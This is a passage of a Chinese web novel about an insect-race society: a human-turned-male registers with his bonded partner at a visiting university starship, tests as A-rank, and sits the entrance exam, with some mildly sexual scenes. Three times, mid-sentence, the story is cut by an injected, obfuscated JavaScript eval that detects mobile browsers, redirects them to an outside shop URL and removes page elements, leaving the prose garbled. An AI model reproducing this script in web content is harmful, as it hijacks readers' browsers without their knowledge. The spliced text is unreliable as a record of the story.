深邃广袤的宇宙中,一艘巨型星舰鬼魅般出现在ZY星系,一阵无形的磁流波扩散到三个宜居星。 “ZY001……ZY002,ZY003,A星系000号行星-圣托大学号已抵达,请求悬停。” 磁流转化为声波,清晰地在控制室里响起,室内猛然爆发出一阵欢呼,雌虫们激动的表情几乎掩盖不住,努力维持心绪平静,和圣托大学号交流信息。 他们的亲属也大多在备考学校,如果圣托大学来了,那么其他的学校也就快了,并且圣托大学还会携带部分主星学校的招生组,机会是成倍涌来的! 圣托大学号悬停ZY003星的几个小时之后,这个消息就在整个星球刮起了一场风暴。 主星啊。 对于大多数虫来说,是一辈子都不能抵达的远方,现在可以亲眼见到主星的虫子和虫族最发达的星舰,简直机不可失,要知道以往这些星舰都只停靠在ZY001星,但这次选择的竟然是他们三号星! 这次停靠星球的改变,显然ZY星系的三颗宜居星都没有得到事先通知,三号星本来一片与世无争的咸鱼氛围,这下可是冷水进了滚油锅。 索涅正和赫尔辛斯一起在院子里喝下午茶。雌虫突然从椅子上站了起来,拧眉望着碧蓝的天空。 “怎么了?”索涅心中一紧,也跟着站了起来。 话音未落,他也已经感受到那股巨大的波动,精神丝在脑中躁动不安,眉心传来鼓胀感。 “赫尔辛斯……”他皱起眉。 赫尔辛斯握住雄虫的手腕将他拉到身后,警惕地看着天空。 来得这么早,应该是圣托大学的星舰,但也不排除星盗的可能。 十几分钟后,全003星的居民都收到了一条推送消息,圣托大学号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464241|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悬停003星,将率先在三号星进行招生。 索涅懵了,他没想到来得这么快,难道招生时间长达两个月? “会有学校陆陆续续到来,圣托大学往往是最快到达每个星球的。”赫尔辛斯安抚地捏了捏雄虫柔软的指腹。 有些被磨出茧子了,因为索涅喜欢用纸笔学习。 “抢生源?圣托应该不缺生源吧?”雌虫准备做晚饭了,索涅边在一旁给水果榨汁,边和赫尔辛斯闲聊。 “这也是一种地位的体现,”赫尔辛斯说,“圣托是联盟无可争议的第一院校,拥有最先进最丰富的战略储备,其他学校来得迟,是因为他们的星舰没有圣托大学号快。” “……这样啊,”索涅明白,“那我们什么时候去报名?” 招生组禁止和学生私联,因此现场报名才能得到一些额外的信息。 “再过两天,明天会很火爆,我们去了也排不上队。”赫尔辛斯说。 “好啊,我再想想报什么专业。”索涅说。 赫尔辛斯失笑,索涅为了报机甲设计还是机甲战斗已经愁了一个月了。 不知道为什么今年圣托竟然给雄虫分配了两个机甲战斗系的名额……赫尔辛斯蹙起眉,他与世隔绝的这五年,虫族进化这么快的吗? 索涅对机甲战斗很心动,然而和雌虫竞争还是让他感受到巨大的压力。 雌虫在机甲战斗上的天赋甩雄虫一圈带拐弯,他要是考进去,不会一直垫底吧?那也太丢人了。赫尔辛斯那么费心费力教他,他倒好,考个倒数第一给雌虫。 索涅一边纠结一边大口地吃饭,目光落在旁边的雌虫身上,下落,却顿住了。 赫尔辛斯好像胖了一圈儿。 胸口鼓鼓囊囊,衣服好像有点小了。 索涅揉了揉鼻子,又看了两眼柔滑衣料下若隐若现的肌肉轮廓。 虽然是肌肉,但是看起来软软的。 很好捏的样子。 “您在想什么?”赫尔辛斯顺着雄虫的目光看过去,没发现什么特殊。 “没……没什么。”索涅指节搭在唇上,悄悄地按了按,生怕有鼻血飙出来。 “赫尔辛斯,你多吃点。”他殷勤地给雌虫夹了一大堆菜,盘子上堆起小山。 “谢谢您。”赫尔辛斯没多想什么,雄虫平日对他也是这样关心的。 晚上,索涅情不自禁,装作不经意地轻轻戳了戳雌虫的胸侧。 好软! 他感觉鼻腔一热。 他偷偷地睁开眼,看到雌虫肌肉流畅线条优美的脊背,旋即眼神下落,不禁脸上发烫。 “赫尔辛斯……”他低声说道,“你……我们试试……让我看着你好吗?” 雌虫停顿了一会儿,慢吞吞地起身。 索涅瞬间感觉一股滚烫的液体流在了自己身上。 他热得脑袋发昏,不禁又闭上了眼。 “……我转过来了,您又不看我。”雌虫瓮声说,然后坐了回去,索涅闷哼一声。 他缓缓地睁开眼,眼前一片微微鼓起的草莓奶盖。 “……” “您流鼻血了。”赫尔辛斯熟练地拿过止血喷雾和湿纸巾。 过去的一个月,索涅已经流过三次了,医生说是火气太旺,需要疏导。 赫尔辛斯无奈,明明每天都有做,可索涅还是容易流鼻血。 索涅眼底发红,在雌虫俯身为他擦鼻血的时候,他张口叼住了草莓尖尖。 赫尔辛斯:“……” 他觉得自己火气可能也有点旺。 20. A级雄虫 圣托大学开始招生的第三天,003星网仍旧一片火热,某某某雌虫得到招生组青眼的消息真真假假地流传着。 索涅和赫尔辛斯乘坐飞行舰来到圣托大学号,赫尔辛斯脸上带着口罩,头发也用一次性染发剂藏了起来。 “阁下您好!”升降口的雌虫穿着制服,看到一只雄虫进来顿时眼前一亮。 003星来报名的第二只雄虫,真是难能可贵。 来现场报名的雄虫一般都会参加考试,网络报名则有百分之九十八的概率放他们鸽子。 他看到索涅的脸,目光一顿,这么英俊,大概率是劣等雄虫……但看这位阁下的气质又不太像…… “您好,我们要求必须验证陪同雌虫的身份,请问他是您的……”他微笑着摆出一副蜡像脸,拿出一个仪器。 “他是我的雌虫。”索涅看了一眼赫尔辛斯,雌虫微不可察地对他眼神示意。 索涅于是不情不愿地拨开雌虫收束整齐的衣领,露出黑底绿纹的颈环。 “罪雌?!”雌虫惊呼,被索涅瞪了一眼。 他下意识恭敬地俯身道歉,抬起身事才意识到好像有哪里不太对。 这又不是那些贵族雄虫! 他拿起仪器靠近颈环,“滴”的一声,光屏上投射出一段信息。 “名:赫尔辛斯 限制编码:JENHZY003 所有者:索涅·诺米茨” “感谢您的配合。”雌虫没有察觉出任何异常,对他们放行。 赫尔辛斯这个名字虽然不多见,但虫族数量这么多,重名也正常。况且大名鼎鼎的金翅蝶谁不知道,可能这位阁下是故意取这个名字,想玩玩情趣? 索涅悄无声息松了一口气,赶紧给赫尔辛斯整理好领口。 “太危险了,”他心有余悸,“万一他们认出你就完了。” “不会的,‘我’正被关押在深渊茧房,曾经的身份也已经逝去,不会引起注意的。”赫尔辛斯说。 “乱说什么,你还好好的呢,什么逝去不逝去。”索涅握着他的手,一路好奇地左看右看。 星舰内部和游戏里一样,极其性冷淡的银白灰色,乍一看去各层旋转扭叠,仿佛无尽的怪谈空间,但走近就发现不过是不同的工作区域而已。 作为雄虫来报名,有虫领着他们一直送到雄虫报名处。 索涅牵着赫尔辛斯,一路上引起频频回头,他倒没太注意到,因为那些虫目光都在赫尔辛斯身上,他只顾着惊叹星舰。 赫尔辛斯朝周围看了一眼,苍金色的眼睛暗含警告。 他的精神力等级简直是碾压性的,精神丝散发的波动强势而冷漠,蛐蛐他们的虫子顿时不敢再将目光投过来,纷纷悄悄地远离索涅。 赫尔辛斯的注意力回到索涅身上,发现雄虫正在和巴掌大的机械兽互动,还安抚地摸了摸冰冷机器的秃脑袋。 机械兽疑惑地抬起头看着索涅,几秒后下肢升起几公分,用头顶蹭了蹭索涅的手掌。 索涅惊喜:“赫尔辛斯,它会蹭我!太可爱了!” 赫尔辛斯觉得索涅比机械兽可爱多了。 他们进去大厅时,环境一下子变得安静,只有巨大仪器发出嗡鸣。操作台前站着两只虫子,一雌一雄。 “你好,来报名的吗?我是雄虫招生组组长里丹。”那只雄虫说。 他转向自己旁边的雌虫,“这位是——” “第一军少将科洛伊·叶耳勒,很高兴认识您。”科洛伊打断了里丹的介绍,对索涅露出微笑。 索涅也说了自己的姓名,他授权招生组查看基本信息,里丹转向操作台,瞬间知道了他的信息数据。 “那么,你想报什么专业?或者可以先向我们了解一下各专业的情况,反正我们也不忙。”里丹比索涅见过的所有雄虫都好说话。 “目前最受欢迎的是自然科学、历史、文学、园艺等。”科洛伊补充道。 赫尔辛斯站在索涅身后半步,他一言不发,甚至动作都怎么变,但存在感高的让对面两只虫子压根无法忽视。 “我们可以坐在那边讨论。”里丹微笑着说。 “谢谢。”索涅确实想先了解了解。 “赫尔辛斯……”索涅拉着雌虫一起坐下,“你帮我想想。” 里丹和科洛伊几乎同时露出惊讶的表情。信息显示索涅只有一只雌奴,应该就是这只和恩其顿前王虫重名的雌虫,但索涅怎么向一只雌奴征求意见? “您只要追寻您热爱的,其余的交给我就好。”赫尔辛斯低声说。 “什么交给你,当然是一起面对,”索涅轻轻掐了掐手里那厚实柔软的手掌,“我只是担心考不上。” “冒昧问一下,你想选的是?”里丹插了一句话。 索涅黑白分明的眼睛顿时聚焦在他身上,里丹后脖颈莫名发紧。 黑到发蓝的瞳仁被上眼睑遮住一半,下半部分又不足以抵到下眼睑,于是四分之三的眼白总是勾出一副不耐烦的凶象。 “机甲战斗,或者机甲设计。”索涅说。 里丹愣了两秒,和科洛伊对视一眼,都颇感棘手。 难道机甲系终于要迎来一个雄虫学生了吗? “您最喜欢的是机甲战斗。”赫尔辛斯忍不住对索涅说。 “可是只有两个名额。”索涅语气低了几分。 “其实你不用担心,这个名额设立五年,还一只雄虫都没招到过。”里丹委婉地说。 好吧,其实有一些一时兴起的雄虫报名,但就连笔试控制线都很少达到,更不用说后面的身体素质测试了。 “所以今年变了顺序,先测身体素质,后笔试,测完身体素质再报名。”里丹说,“你要不要试试?” 索涅看向赫尔辛斯。 “我在旁边等您。”雌虫轻声说。 他的目光略过测试仪器,垂下眼眸遮住思绪。 里丹在旁边看着他们,面上有种奇异的微笑,他转过身,“科洛伊。” “……请跟我来。”科洛伊对索涅说。 索涅刚进来就注意到了,一个巨大的蛋形仪器矗立在房间一角,足有四五米宽,通体富有科技感的白色,钴蓝色控制板悬浮在空中。 “主要是详细测试您的精神力和肌群,”科洛伊示意索涅站进去,“请您释放出全部精神丝,全身绷紧。” 索涅照做。不知名的淡蓝色液体顿时从内部喷涌而出落在他身上,不到一分钟就灌满整个舱室。 赫尔辛斯也跟着走了过来,在舱外看着索涅。 “你叫赫尔辛斯?”里丹也看着里面的雄虫,不过却在跟赫尔辛斯搭话。 “是。”赫尔辛斯简洁地说。 “他给你取的名字?”里丹又问。 科洛伊背对他们,原本流畅的操作僵滞了一瞬。 “是我原本的名字,”赫尔辛斯专注地看着索涅,连语气都没有变。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464242|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里丹的目光从测试舱移开,落在赫尔辛斯脸上,从褐色的头发移动到那双少见的眼睛,“是个不错的名字。” “多谢您夸奖。”赫尔辛斯无波无澜地说。 科洛伊按下按钮,舱室内发出一声脆响,液体被迅速抽干,一阵白色喷雾笼罩索涅全身,他身上残留的液体飞速烘干。 索涅收拢精神丝,从舱里走出来,头有些发晕,他揉了揉眉心。 赫尔辛斯走过来,轻轻给索涅按揉着眉心和颊侧。 雄虫苍白的皮肤略微泛着湿润,或许是被营养液泡了一会儿,摸上去十分柔嫩细腻。 索涅闭着眼,眼睫搭在下眼睑上,投射出根根分明的阴影,眼尾和眉形像锋刃一样利落,透着股冷心冷肺的狠意。 赫尔辛斯的指腹按在雄虫眉心,顺着眉弓划到眼尾,他双手捧住雄虫的脸,中指指尖恰好按在太阳穴。 “你干嘛呢,”索涅忍不住笑了,两颊为数不多的皮肉被挤起,声音有些模糊,“把我当橡皮泥捏?” 赫尔辛斯用掌根按了按雄虫的下颌。 “哇,好酸。”索涅咧起嘴角,握住赫尔辛斯的手又给自己按了按。 “我在给您按摩。”赫尔辛斯才说,说着又要俯身去揉雄虫的腿。 “别别别!回去再按。”索涅汗颜,拉住他手,“先去看看结果吧。” 他一听到要做身体素质测试,心里就庆幸自己的锻炼计划恰好卡上节骨眼。 赫尔辛斯被雄虫拉着走近显示屏,待看清上面的各项数据时,瞳孔猛地一缩,手指下意识扣紧了雄虫的手腕。 索涅回头,“怎么了?紧张?” 赫尔辛斯目光死盯着显示屏,缓缓地点头。 索涅安慰地笑了笑,“没事,实在不行可以报园艺。” 他精神力等级应该不咋地,其实他也挺乐意照顾花花草草。 里丹和科洛伊站在显示屏前,久久无语。 看到索涅过来,里丹眼里闪过一丝复杂,给他让开位置,语气温和,“恭喜你,通过了。” 赫尔辛斯看到了这两只虫子眼里暗藏的审视。 “另外,你的信息系统应该需要更新了,”里丹指着显示屏,“你这样的雄虫竟然埋没在边缘星这么久,真是可惜啊,你完全可以在主星过上比现在好千倍的生活。” “这是联盟医疗系统史无前例的纰漏,圣山会给您一个答复的。”科洛伊说。 “请您跟我们返回主星,圣山会彻查这件事,您不该再留在这种落后的星球。” 索涅完全不懂他们在打什么哑谜,他皱起眉,开始反感这两只虫子了。 “赫尔辛斯……”他看向雌虫。 他的雌虫似乎也在愣神,紧紧地盯着显示屏,听到索涅的声音才猛地收回视线。 赫尔辛斯看着索涅,嘴唇动了动。 “……根据检测结果,您是一只,”赫尔辛斯握着索涅的手紧了紧,嗓音微哑,“A级雄虫。” 索涅怀疑自己的耳朵,指着自己:“我?!” “您的精神力等级排在顶A级,我们没有测信息素,信息素等级不明,不过您当初的信息素等级应该也测错了。” 索涅一时不知道该说什么。 什么喜悦的感觉都没有,心里一片茫然。 A级? 意味着又会有无穷无尽的麻烦等着他。 他意识到,脆皮地球人的人生计划又被摧毁了。 21. 你得负责 他站在赫尔辛斯旁边,像个刚孵化的鸡崽崽一样依靠着雌虫,紧紧握着雌虫的手,手心一片汗湿。 赫尔辛斯略微朝前走了一步,将索涅挡在后面,苍金色的眼眸仿佛沉淀着星河。 “那么,雄主他是否可以报名了?”他问对面两只虫子。 里丹一直观察着他们,索涅和赫尔辛斯的关系在他心里又划上了新的符号。 “我们会把您的信息上传系统,这是身份卡,请您拿好。”科洛伊递给赫尔辛斯一样东西,“十五天后请再次到这里参加考试。” 赫尔辛斯目光垂下,看着手里眼熟的东西。 “雄主的等级,你们会提交到医疗系统?大概几天?” “当然,现在就会上传,”里丹走到他们面前,“这是值得痛惜的一件事,联盟希望珍贵的雄虫早日回到安全舒适的地方。” “谢谢联盟的痛惜。”索涅不咸不淡地说。 他定下心神,接过赫尔辛斯手里的身份卡看了看,笑道,“我会准时来考试,那边的材料我可以带走一份吗?” “这就是为报名者准备的。”里丹拿来一份,正要递给赫尔辛斯,被索涅率先拿过。 “谢谢。”索涅说。 他和赫尔辛斯双双离开,里丹看着他们的背影,神色平静。 “你说,”他似乎在问空荡荡的大门。“他们是杜娟还是喜鹊?” 科洛伊没有抬头,“或许不过是麻雀而已。” 里丹冷笑一声,回身大步走到控制台,却面色一冷,“你已经上传了?” “是的,按照您的吩咐,立刻上传。”科洛伊说。 里丹冷冷地看着他,半晌,嗤笑一声。 “事情开始变得有意思了。” 他大步离开,声音回荡在科洛伊耳边。 科洛伊掏了掏耳朵,波澜不惊地坐在椅子上,继续等待着下一个雄虫。 —— 索涅并没有立刻离开星舰,他又回到来时路过的一个小休息厅,这里有很多袖珍机械兽,窝在休息厅的各个角落休眠。 索涅在旁边看了很久,唇角一直挂着笑意。 “您很喜欢他们。”赫尔辛斯说道,用的是肯定的语气。 “好乖的小家伙,”索涅超爱小不点和毛绒绒,“赫尔辛斯,你知道猫吗?” “我见过,是一种很受欢迎的宠物。”赫尔辛斯说。 索涅瞬间眼睛亮了:“贵吗?我们能养一只吗?” 赫尔辛斯神色温柔,“当然可以,不过我们即将去主星,可以等到主星后再买。” “还是你说的对。”索涅拉着赫尔辛斯,跟小家伙们小声说了句“我走啦”。 他们走走停停,赫尔辛斯不断地为好奇心强的雄虫介绍着星舰上的装置。虫群有些拥挤,索涅一直害怕他走丢似的,扯着他的衣袖,到格外密集的入口后变为搂着他的腰。 周围的目光频频扫射在脸上,赫尔辛斯仿佛粘在雄虫怀里似的佁然不动。 他们的飞行舰款式比较新,还是前天赫尔辛斯告诉索涅报名需要飞到大气层外,索涅才琢磨着找到了原主积灰的地下舰场,找出去年原主买的飞行舰。 飞行舰是较为昂贵的出行工具,这架是去年的老款,现在去买还要三百多万星币。 原主倒是没屯飞行舰,想来也是屯不起。 这架飞行舰被涂得花里胡哨,索涅上去时还在嫌弃。 “我回去要给它换个颜色。”他坚定地说。 “您决定就好。”雄虫毕竟成年了,审美发生变化是很正常的事情。 赫尔辛斯的操作手法实在是太溜了,索涅也想学,可他们显然是来不及了,雌虫劝他去主星再考飞行执照。 “赫尔辛斯,”索涅转过身看着雌虫的侧脸,“我怎么什么都不懂,你会不会烦我?” 他明知道答案,可还是期待赫尔辛斯怎么说。 “……实际上,我乐在其中。”雌虫顿了好一会儿,才缓缓地说。 索涅夸张地“哇哦”一声,雌虫的耳廓有些发红。 雌虫在操作飞行舰,索涅也不好意思打搅他,于是手杵着下巴盯着赫尔辛斯的侧脸。 从侧面看,雌虫的鼻骨有个小小的驼峰,鼻尖翘起微小的弧度,五官起伏折叠完美,优雅得像艺术品。 雌虫的唇色并不红润,比肤色深一些的淡红色。看着饱满的唇峰,索涅想起了咬它们的感觉。他没感觉错,赫尔辛斯的唇是很丰腴的。 目光下落,雌虫凸起的喉结被衣领遮住一半。索涅仔细地看着,已经很难对赫尔辛斯的男性特征产生应激。能够想起的只有从上面滑落的汗水,和它不停滚动喘气的样子。 他揉了揉鼻子,心里暗啐自己。 但目光落到雌虫的胸前,他又不可避免地想入非非。这身衣服是他新买的,没办法,赫尔辛斯肌肉长出来后,原本的衣服被撑得有些……咳……只适合在家里穿。 “您饿了吗?”赫尔辛斯注意到雄虫滚动的喉咙。 索涅轻咳一声,坐直身看着窗外,“有一点,今晚炖个鱼吃吃吧。” “如您所愿。”赫尔辛斯当然不会拒绝。雄虫很少点菜,基本是他做什么吃什么,从来不挑食。 索涅直接在星网下单了食材,他们到家时食材已经放在家门口。 索涅随意地说炖个鱼,赫尔辛斯非常认真地准备了将近一个小时,端上来四五个大菜。 “今天值得庆祝。”雌虫说。 索涅瞬间唉声叹气,“不知道多少麻烦事儿等着我呢,E级都天天来烦我,A级他们不会在我家驻扎吧?” 赫尔辛斯失笑,“当然不会,不过雄保会确实会格外关注您,为您推荐各种各样的雌虫,也会有很多宴会和活动需要您出席。” 索涅更萎靡了,他就知道是这样。 “您要是嫌烦,”赫尔辛斯看着雄虫苦恼的样子,轻声开口,“可以态度更加强硬冷漠一点,直接吓退他们。” 索涅也不是个软柿子,可以说他其实反而是个硬茬,“他们不会给我使绊子吧?” “您要相信,比起其余雄虫,您仍旧是最温和的那个。”赫尔辛斯说。 索涅耳朵一红,想起某件事却又纠结起来:“今天的那个里丹,他不也挺客气的。” 赫尔辛斯却一笑,索涅真可爱,“他是圣山的雄虫,温和是必须要披上的羊皮。” “他来到偏远星球招生,将为他的主子带来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16464243|185447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以亿为单位的支持者。” 索涅目光微凝:“他是替某个圣子出来跑腿的?” 赫尔辛斯欣慰于雄虫的敏锐,“应当是刚刚通过成年试炼的圣子艾浮·梅尔加,里丹阁下姓海泽,海泽是勋爵之一,这一代的一位军雌为梅尔加雄虫生下了一枚等级极高的雄蛋,应当就是艾浮阁下。” “梅尔加雄虫,是谁?”索涅敏锐地意识到这个问题,能生下艾浮,这只雄虫等级应该也很高。 赫尔辛斯语气淡淡,“奥维·梅尔加。” 索涅:“……” 也就是说,艾浮是赫尔辛斯的前未婚夫西沙·梅尔加的亲弟弟? 世界怎么这么小…… 等等! “梅尔加有两位圣子?还是亲兄弟?”索涅惊诧,却又想起赫尔辛斯曾说过圣子经常被梅尔加垄断。 “这是常态,上一届选举,三位圣子都是梅尔加,不过费伦斯阁下始终拒绝承认归族。” “梅尔加之外那么多雄虫,竟然一只能竞争圣子的都没有?”索涅咋舌,这也太悬殊了。 恐怖的血脉。 “梅尔加的雄虫是绝佳的政客,世代积累下,天然拥有巨大的呼声,极少有雄虫能盖过他们的光彩。”赫尔辛斯极不情愿地承认梅尔加确实很有头脑。 “另外一位圣子来自偏远星球,但很少出来活动,支持者远不如梅尔加的两位。” “这执政官都快变成世袭制了。”索涅吐槽了一句,然后开始专心吃饭。 他对食物是很虔诚的,尤其赫尔辛斯的手艺值得他认真对待。 “赫尔辛斯,以后你慢慢教我做饭吧。”吃过饭,索涅思索道。 “等你好了,肯定会有自己的事业,你忙的时候我也可以好好照顾你,不至于让你一直吃西红柿鸡蛋面。”他说。 赫尔辛斯用一种奇异的温和眼神看着他,弄得索涅耳朵微红,外强中干地硬声:“你干嘛这么看我?觉得我学不会?” “不,但您得先专注学业,等您毕业我再教您。”赫尔辛斯倾身吻在索涅的唇上。 索涅下意识朝后仰头,却没有直接退开,这么纯洁的吻,他耳朵仿佛炸了个炮仗似的发烫。 “那得等多久,一直让你做饭,太不公平了。”他抿了抿唇,嘀咕道。 “您说过的,我们之间的天平永远平衡。”赫尔辛斯在他耳边轻声说。 索涅心想我那不是忽悠你的嘛,不然你心里又得钻牛角尖愧疚。 他无声地叹了口气,倾身躺在赫尔辛斯大腿上,仰视雌虫,视野里那片柔缓的弧度让他又对自己叹息。 “赫尔辛斯,你得负责。”他掐了掐雌虫紧实的腹肌,透过衣服摸到小面包们起伏的沟壑。 “我从来没想过,我会和一只虫子,一只雌虫,以伴侣的关系在这儿探讨未来。” “我会的,请您放心。”赫尔辛斯唇角弯起。 该担心的明明该是他,雄虫实在太多虑了。不过很可爱。 索涅心念一动,伸手托住雌虫的下颌,指尖揉了揉雌虫的脸颊。赫尔辛斯柔和地看着他,歪头蹭在他手心,就像一只撒娇黏糊的猫。 索涅为自己哀叹一声。 他完了。 22-30 第22章 他确实很喜欢我 回来后索涅没有丝…… 回来后索涅没有丝毫放松, 俗话说临阵磨刀不利也要快三分。他把以往几个月学过的所有知识都串起来复习了一遍,弄了一张足有三米见方的思维导图。这样的高压生活让他有种沉浸式自我拔高的爽快感。 赫尔辛斯看着雄虫蹙紧的眉头,每当他实在担心索涅的身体, 想告诉雄虫其实不用这么努力也能考上的时候, 索涅看一眼时间, 就会立刻停止学习放松休息。 雄虫对这种高压生活是很有规划的, 赫尔辛斯开始依照索涅的步调走, 他的雄虫不是在盲目冲锋。 十五天后, 索涅按照赫尔辛斯的建议准备好所有东西,再次登上了悬停于大气层外的圣托号。 来考试的虫子比那天报名时多了一倍不止,看来确实大多都在前两天报名, 赫尔辛斯是对的。 雌雄各有专属通道, 雄虫的场地虽然小得多, 但考生寥寥,索涅有种走错地方的感觉。 “二、四、六……三十二只?!”他震惊了, “我没记错的话ZY003总共有三百多万只雄虫吧?” 这比例也太夸张了!多好的机会,地球人绝不放过! 按照索涅的想法,就算明知考不上,也会有虫来碰碰运气试一试才对,怎么能少到这种程度?! “圣托大学的控制线毕竟比较高, 雄虫们可能更愿意试试那些分数线比较低的。”赫尔辛斯说。 说到底,雄虫们犯懒,一个个都觉得自己考不上,连试也不愿意试。 索涅的底气又上升了一些。 他看里丹和科洛伊还有另外两只雌虫远远地走来, 对方朝他们示意。里丹的手掌贴在一处光滑的墙壁上,墙壁瞬间裂开一道缝,内部宽广明亮的房间展露在雄虫们眼前。 来考试的雄虫们显然都对自己有些要求, 眼神里露出一些惊叹,倒没有怎么躁动。 “请阁下们随我们进去,按照身份卡就座,随身雌虫留在外面。”科洛伊说道。 他们进去后,雄虫们陆陆续续地移动。 索涅抱了抱赫尔辛斯,“在外面等我,我会尽快出来的。” 他担心赫尔辛斯会被发现身份,本来不准备让赫尔辛斯跟着一起来,但他的房子也没有强大的安保设施,其实赫尔辛斯留在哪里都一样。 他走进去后,赫尔辛斯和其他雌虫们一起坐在休息区。雌虫们有些互相认识,断断续续地说着话。 赫尔辛斯虽然微低着头一言不发,但他的存在感实在太强了,而且所有虫子里只有他戴着口罩,愈发让雌虫们升起探究欲。 “我雄主每天都学习一两个小时,肯定能考上。”一只雌虫信誓旦旦地说道。 “看来我们的雄主都报了自然科学和历史。”一只褐色头发的雌虫说,或许是看赫尔辛斯发色和他相同,环视一圈见赫尔辛斯不说话,想把他也拉进聊天里。 “你呢?刚才那位阁下看起来很舍不得你。”他促狭地笑起来。 赫尔辛斯本来在想一些事,闻言唇角上扬,“他确实很喜欢我。” 其他虫:“……” “好了我们都知道这件事,”雌虫无语道,“你雄主报的什么专业?或许以后可以认识一下,多个朋友多条路。” “机甲战斗和园艺。”赫尔辛斯看着索涅的志愿上传的,对此一清二楚。 “……机、机甲战斗?!!!你让雄虫去报机甲战斗?!!”雌虫震惊地看着他,语气里充满了不理解,“怎么可能读得下来?你应该提醒雄虫机甲系有多严苛!” 赫尔辛斯瞥了他一眼,说:“我提醒了。” “大概七八遍。”他又说。 “……你雄主还挺有毅力。”雌虫评价。 其实他想说你雄主真蠢。 其他虫纷纷有些可怜赫尔辛斯,不过好在这位阁下还报了一个园艺,还有的救。 雌虫们换了个话题,聊着聊着就说到了家里十个指头数不过来的雌侍雌奴,他们大多也都是雌侍,雌君往往能力出众,需要去工作为雄虫提供生活基础,也就他们有闲时间陪雄虫出来考试。 但雄虫考上以后前往主星,多带虫是需要加钱的,虽然比普通星航便宜很多,但他们的积蓄也要出次血。 这里面也就两只雌虫是雌君,和雄虫感情不错,专门请假来陪考的。 “雄虫们要是考上,我们谁又确定能跟着一起去主星?”刚才和赫尔辛斯搭话的雌虫叹气道。 很显然,主星优秀的雌虫一抓一大把,雄虫的良心可经不起考验,和他们离婚的概率也不是没有。 “我还好,雄主年幼,家里只有我一只雌虫,以后当个透明虫就行。”他悲观地说着,又转向赫尔辛斯,似乎对这只格外高大又形体优美的雌虫很有探究欲。 “你长得这么好,倒是不用担心失去宠爱,”他说,“但你雄主也英俊得不像话,得注意着点。” “要是能一直待在边缘星,以你的外貌,又是雌君,雄虫可就挑不到比你更好的了。”他语气平静,但话里可不是多么和善的意思。 赫尔辛斯终于又瞥了他一眼,没应这只雌虫的煽风点火,只是解释了一句,“我是雌奴。” 其他虫:“……” 如此体面的雌奴? “你这样的条件,”雌虫瞪大了眼睛,“竟然当了雌奴?” “罪雌。”赫尔辛斯平静地说。 “……”那只雌虫目露惋惜,拍了拍赫尔辛斯的肩膀,“没关系,留在边缘星也挺好,听说主星的虫手段特别狠。” 赫尔辛斯勾起唇角,他对任何一个星球都没道德滤镜。 他没再解释,一边等着雄虫考试。一边缓缓地摩挲着手腕上的手环,目光幽深。 圣托大学号忽然改变惯例停靠ZY003,到底是为什么? 他不相信圣托会是按心情行事,圣托的准则一向严格,其中必然有猫腻。 但圣托到来后,他与外部的联系不得已终止了,这艘星舰的磁流捕捉能力极强,他们赌不起。 两个小时很快过去,索涅出来时还在手里还在整理着自己的头发。 “题目好多,”他说道,“为什么要把所有科目一次性考完?” 索涅认为应该分几天来考,他只能凭感觉选答案,后面根本来不及分析。这考试安排得太不地道了。 “因为如果分几天,雄虫们可能不会参加完全程。”赫尔辛斯说,“今天不考完,下一门科目就不会来了。” 索涅:“……好吧,不管了,我们回去。” 星舰虽然神秘科幻,但还是家里更自在一些,索涅的精神丝高速运转两个小时,依旧神采奕奕地在菜园子里挖土。 就算离开,他也不准备把这小房子卖掉。翻开围墙处的土层,撒进无数蔷薇种子,想必他们走后这些花将肆意生长,爬满整个围墙。 索涅希望回来的时候,这里尽管陈旧,却能繁花盛放生机勃勃。 冲刺结束,他决定晚上第二次进入深度决斗,并且要开直播。可惜的是深度决斗这样的虚拟世界都有自己的直播系统,不过也正好方便他再开一个马甲。 雄虫的精神力已经不可同日而语,但赫尔辛斯仍旧想在旁陪着他,拒绝了索涅一起玩游戏的盛情邀请。 深度决斗虽然被戏称为游戏,但其实是军部官方制作,一些大学和军部的部分考核都在里面进行,虚拟世界消耗巨大,他不放心索涅。 “等您熟练之后,我们再一起进去。”赫尔辛斯劝导闷闷不乐的索涅。 索涅明白是自己的可信度还有点低,毕竟上次他差点把自己精神域抽成葡萄干儿。 “话说上次我进去恰好碰到那个艾浮在决斗,好多虫子,目测有几十万,”他嘬着果汁说,“他好油腻啊,眼睛抽风似的抖个不停。” “……您怎么进去的?”赫尔辛斯沉默了好久。 “嗯?”索涅疑惑起来,“就是……我被一群僵尸一样的虫子盯着看,实在没办法随便进了一个门儿,好像靠近门就自动被进去了。” 赫尔辛斯若有所思。 索涅嘬了一口果汁。 